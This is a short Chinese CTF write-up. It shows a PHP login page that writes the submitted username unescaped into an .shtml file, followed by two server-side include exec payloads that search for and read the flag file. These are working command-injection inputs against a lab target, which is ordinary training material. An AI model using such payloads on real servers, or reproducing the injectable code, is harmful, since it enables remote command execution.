进入靶场
有个文件
和之前一道题如出一辙
<?php// 开启输出缓冲,将后续所有的输出内容先暂存到缓冲区,而不是直接发送到浏览器ob_start();/*** 生成一个基于随机字符串和唯一标识符的哈希值* @return string 返回生成的 sha1 哈希值*/function get_hash(){// 定义一个包含大写字母、小写字母、数字和一些特殊字符的字符集$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';// 从字符集中随机选取 5 个字符并拼接成一个随机字符串$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; // Random 5 times// 生成一个基于当前时间戳的唯一标识符,并与随机字符串拼接$content = uniqid().$random;// 对拼接后的字符串进行 sha1 哈希处理,并返回哈希值return sha1($content); }// 设置响应的 HTTP 头,指定内容类型为 HTML,字符编码为 UTF-8header("Content-Type: text/html;charset=utf-8");// 检查是否通过 POST 方法提交了 'username' 字段,并且该字段不为空if(isset($_POST['username']) && $_POST['username'] != '' ){// 定义一个管理员密码的 md5 哈希值的前 6 位作为验证依据$admin = '6d0bc1';// 计算用户提交的密码的 md5 哈希值,并截取前 6 位,与预设的验证值进行比较if ( $admin == substr(md5($_POST['password']),0,6)) {// 如果验证通过,弹出一个 JavaScript 警告框,提示欢迎进入管理系统echo "<script>alert('[+] Welcome to manage system')</script>";// 生成一个随机的文件名,文件扩展名为 .shtml,存放在 public 目录下$file_shtml = "public/".get_hash().".shtml";// 以写入模式打开文件,如果无法打开则终止程序并输出错误信息$shtml = fopen($file_shtml, "w") or die("Unable to open file!");// 定义要写入文件的 HTML 内容,包含欢迎信息和用户提交的用户名$text = '<!-- 这里可以补充完整的 HTML 结构和样式 --><!-- 这里可以补充完整的 HTML 结构和样式 --><h1>Hello,'.$_POST['username'].'</h1><!-- 这里可以补充完整的 HTML 结构和样式 --><!-- 这里可以补充完整的 HTML 结构和样式 -->';// 将定义好的文本内容写入文件fwrite($shtml,$text);// 关闭文件句柄,释放资源fclose($shtml);// 这里输出提示信息,表明可能存在 HTTP 头错误,但不清楚具体逻辑echo "[!] Header error ...";} else {// 如果验证不通过,弹出一个 JavaScript 警告框,提示登录失败echo "<script>alert('[!] Failed')</script>";}} else {// 如果没有提交 'username' 字段或该字段为空,可以在这里添加相应的处理逻辑// 例如提示用户输入用户名}// 可以在这里添加一些收尾的代码,例如刷新输出缓冲区等
?>
没得到什么信息
抓包
<!--#exec cmd="find / -name flag*"-->
<!--#exec cmd="tac /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->